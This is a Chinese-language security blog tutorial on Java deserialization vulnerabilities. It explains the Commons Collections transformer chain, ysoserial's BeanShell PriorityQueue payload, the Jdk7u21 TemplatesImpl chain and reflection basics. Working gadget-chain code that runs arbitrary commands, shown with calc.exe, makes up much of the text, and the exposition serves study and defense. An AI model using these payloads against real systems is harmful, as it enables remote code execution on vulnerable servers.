5

Java反序列化漏洞 | UltramanGaia's Blog

 2 years ago
source link: http://ultramangaia.github.io/blog/2018/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Java的漏洞中,最出名的漏洞莫过于Java反序列化漏洞了。

Java的序列化和反序列化

序列化是一个将对象转化成字节流的过程。在Java中,序列化可以通过objectOutputStream类的writeObject方法来实现。

反序列化是一个将字节流恢复成对象的过程。在Java中,反序列化可以通过ObjectInputStream类的readObject方法来实现。

序列化和反序列化常常用于储存或传输对象。序列化的Bytes中存储的信息包括有类名非静态成员变量,若成员变量也是对象,则会进行递归序列化和反序列化的。对于特殊的类,不能直接使用通用的序列化和反序列化方法(如HashTable),需要自定义序列化和反序列化的方法。

显而易见的攻击面:控制字节流Bytes,即可以在程序中注入恶意构造的特定对象,但是这种方法一般难以应用与构造RCE,因为程序中往往会对反序列化后的对象进行类型转换,如果非指定的类,会抛出异常;这种方法更多可能用于信息的伪造,如权限绕过。

较深层的攻击面:在反序列化的过程中,若控制字节流Bytes,则可控制反序列化的类以及它的成员变量,在这过程中会自动调用自定义的反序列化函数,则可以简化为限制特定函数的有限制的代码执行,若能执行危险函数,则存在安全风险。若能找到合适的POP链,可以导致任意代码执行或命令执行。

关于Java的反序列化漏洞可以阅读长亭科技的这篇文章

Lib之过?Java反序列化漏洞通用利用分析

文中重点分析了利用Apache Commons Collections实现远程代码执行的原理,大概可以理解为:

Apache Commons Collections 3中有个TransformedMap类,它对标准的Map进行了拓展,当这个TransformedMap实例中的key或者value发生改变,会调用相应Transformertransform()方法,这个相应的Transformer是可以通过设置属性来设置的,而且可以用多个Transformer组合成ChainedTransformer,会依次调用transform()方法。

Apache Commons Collections 3自带的InvokerTransformer类的transform方法里面会根据传入的参数来通过Java的反射机制来调用函数。所以,我们可以利用它来调用我们想要调用的任意函数,如Runtime.getRunTime.exec

当然,这个以上所提到的需要key或者value改变,而默认的readObject函数并不会改变它们。所以,需要找到一个类,它的属性(成员变量)中包含有Map而且readObject函数会对key或者value进行改变,如setValue

然后,找到了AnnotationInvocationHandler类,它恰好符合上述条件,组合即可实现,输入一个序列化后的对象,程序执行反序列化操作,调用readObject方法,执行恶意代码。

听得有点迷糊吧,可以去看看上面提到的文章,跟着走一遍。

整个反序列化的流程是,AnnotationInvocationHandler对象,它的readObject函数

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
  var1.defaultReadObject();
  AnnotationType var2 = null;

  try {
    var2 = AnnotationType.getInstance(this.type);
  } catch (IllegalArgumentException var9) {
    throw new InvalidObjectException("Non-annotation type in annotation serial stream");
  }

  Map var3 = var2.memberTypes();
  Iterator var4 = this.memberValues.entrySet().iterator();

  while(var4.hasNext()) {
    Entry var5 = (Entry)var4.next();
    String var6 = (String)var5.getKey();
    Class var7 = (Class)var3.get(var6);
    if (var7 != null) {
      Object var8 = var5.getValue();
      if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
        var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
      }
    }
  }

}

这里其实还是需要分析一下的,我们的目的需要执行var5.setValue,要执行到这里需要一定的条件。只要动态调试一下就可以,主要是var7!=null这个条件,调试一下就可以发现var3只有value这个key,所以,需要Map中的键值为value,即innerMap.put("value","hello world");

OK,调用setValue函数,会依次调用ChainedTransformer里面的每一个Transformertransform函数。这个ChainedTransformer的构建方法如下。

((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc.exe");
1.Runtime.class
new ConstantTransformer(Runtime.class),
2.getMethod("getRuntime")
new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",new Class[0]}),
3.  invoke()
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},new Object[] {null, new Object[0]}),
4. exec("calc.exe")
new InvokerTransformer("exec", new Class[]{String.class},new Object[] {"calc.exe"}),

ysoserial

ysoserial 是一个出名的反序列化漏洞利用工具,内有大量的payload,也很方便用于增加/修改payload。

源码的src/main/java/ysoserial下是主程序,exploit下是针对不同应用的攻击程序,可以直接修改运行参数来使用不用的payload对目标应用进行测试,payload下是不同组件的反序列化payload,payload目录下有个util目录,里面包含有一些用于生成payload用到的小工具。

源码的src/test/java/ysooserial下是一些测试服务,可以用来测试payload。

由于JEP 290: Filter Incoming Serialization Data (JDK 9,然后反向移植到8u121, 7u131, and 6u141),在新版本的jdk下很多payload都不能用的,建议测试的时候,用低版本的jdk。

BeanShell

beanshell (bsh-2.0b5)是一个Java源代码解释器,类似于脚本语言的特性。BeanShell动态执行标准Java语法,并支持常见的脚本编写方法,如松散类型,命令和方法闭包等。BeanShell可以说是利用Java反射机制实现的新型脚本语言。/咦,貌似还挺好用。

BeanShell的反序列化漏洞,CVE-2016-2510,可以看到修复的commit,修复方法为将InvocationHandler invocationHandler=new Handler(),设置为transient,并且禁止Handler类序列化。

BeanShell通过反射的方式来实现调用函数,invocationHandler是我们在动态代理中很熟悉的一个参数,这里考虑到构造某类反序列化时,通过动态代理的方法调用我们事先存储在invocationHandler中的函数,从而执行任意代码。

小技巧
java.util.PriorityQueue类经过构造可以调用成员变量的Comparator.compare()Comparator.compareTo()方法。

Payload如下

public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload

    String payload =
        "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
            Strings.join( // does not support spaces in quotes
                Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
                ",", "\"", "\"") +
            "}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

// Evaluate payload
i.eval(payload);

// Create InvocationHandler
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;
}

首先,构造beanshell的执行payload,执行并存储在invocationHandler中,

String payload =
        "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
            Strings.join( // does not support spaces in quotes
                Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
                ",", "\"", "\"") +
            "}).start();return new Integer(1);}";

// Create Interpreter
Interpreter i = new Interpreter();

然后,通过反射,取出XThis的成员变量invocationHandler

XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);

接下来构造动态代理,这里用到了小技巧,

PriorityQueue类,它的readObject方法,跟进heapify()方法,里面调用siftDown方法,跟进,当comparator不为null,会调用siftDownUsingComparator,并在里面调用comparator.compare()方法。

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
if (comparator != null)
    siftDownUsingComparator(k, x);
else
    siftDownComparable(k, x);
}

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

所以,我们只要将上面获得的invocationHandler通过动态代理构造出实现Comparator的对象,并作为PriorityQueuecomparator即可。

// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);

return priorityQueue;

回顾一下,这里我们学到了一个小技巧PriorityQueue可以在反序列化过程中调用Comparator.compare()Comparable.compareTo()函数。

Jdk7u21

该反序列化漏洞存在jdk自带库中,低于jdk7u21的jdk版本受此漏洞影响。

Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
  • Affected Product(s): Java SE 6, Java SE 7
  • Fixed in: Java SE 7u25 (2013-06-18), Java SE 8 (2014-03-18)
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
有成员变量
byte[][] _bytecodes = null  // 可以存储恶意bytecode
存在以下调用链
TemplatesImpl.getOutputProperties()
  TemplatesImpl.newTransformer()
    TemplatesImpl.getTransletInstance()
      TemplatesImpl.defineTransletClasses()
        ClassLoader.defineClass()
只要能够调用TemplatesImpl.getOutputProperties() / TemplatesImpl.newTransformer()即可以实现任意代码执行

sun.reflect.annotation.AnnotationInvocationHandlerequals方法会反射调用Templates所有方法,所以可以调用getOutputProperties()

Clojure

Clojure是一种高级的,动态的函数式编程语言。 它是基于LISP编程语言设计的,并且具有编译器,可以在Java和.Net运行时环境上运行。

org.clojure:clojure
Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions

小技巧
java.util.HashMap类在writeObject过程中,将key/value以列表的形式逐个序列化,在readObject的过程中,会依次调用putVal(hash(key), key, value, false, false);,所以会调用的key.hashCode()key.equals(k)函数。

由于作者觉得之前写的文章不太容易理解,回炉重造中。。。

如果读者阅读上面文章感觉吃力,建议动手尝试,下方也提供了少量基础知识。

Java 反射机制

Java反射是一个API,它被用于在运行时检测修改方法接口的行为。

通过反射,我们可以在运行时调用方法,而无视它们的访问说明符。

Java的反射的基础是Class类,当JVM加载类时会自动构造Class对象,而Class类对象则封装了(类和接口)的信息。

import java.lang.reflect.Method;

public class TestReflection {
    public static void main(String [] args) throws Exception{
        Object obj = Runtime.getRuntime();
        // 获取obj的类名
        System.out.println(obj.getClass().getName());
        // 通过类名字符串获取类
        Class c = Class.forName("java.lang.Runtime");
        System.out.println(c);

        // 根据名字获取方法
        // Runtime.getRuntime().exec("calc.exe");
        Method m1 = c.getDeclaredMethod("getRuntime");
        Object o = m1.invoke(c, null);
        Method m2 = o.getClass().getMethod("exec",String.class);
        m2.invoke(o, "calc.exe");


    }
}

Java动态代理机制

利用Java反射技术,在运行时创建接口s的动态实现。

一般创建动态代理,用到两个关键的类ProxyInvocationHandler

Proxy.newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;


interface IFoo{
    void go();
    void fly(int len);
}

class Foo implements IFoo{

    @Override
    public void go(){
        System.out.println("调用了Foo 的go函数");
    }

    public void run(){
        System.out.println("调用了Foo 的run函数");
    }

    @Override
    public void fly(int len){
        System.out.println("调用了Foo 的fly函数, 飞了"+len+"米");
    }
}

class DynamicInvocationHandler implements InvocationHandler{
    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

        System.out.println("调用invoke函数,方法名为"+method.getName()+", 参数为"+args);
        return null;
    }
}

public class TestDynamicProxy {
    public static void main(String [] args){
        // 正常调用
        Foo f = new Foo();
        f.go();
        f.run();
        f.fly(10);

        // 动态代理调用我们定义的go函数
        IFoo f1 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(), new Class[]{IFoo.class}, new DynamicInvocationHandler());
        f1.go();
//        ff.run();
        f1.fly(8);

        IFoo f2 = (IFoo) Proxy.newProxyInstance(Foo.class.getClassLoader(),
            new Class[]{IFoo.class},
            new InvocationHandler() {
                @Override
                public Object invoke(Object proxy, Method method, Object[] args){
                    System.out.println("method name is "+ method.getName() + ", args is "+args);
                    return null;
                }
            });
        f2.go();
        f2.fly(7);
    }
}

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK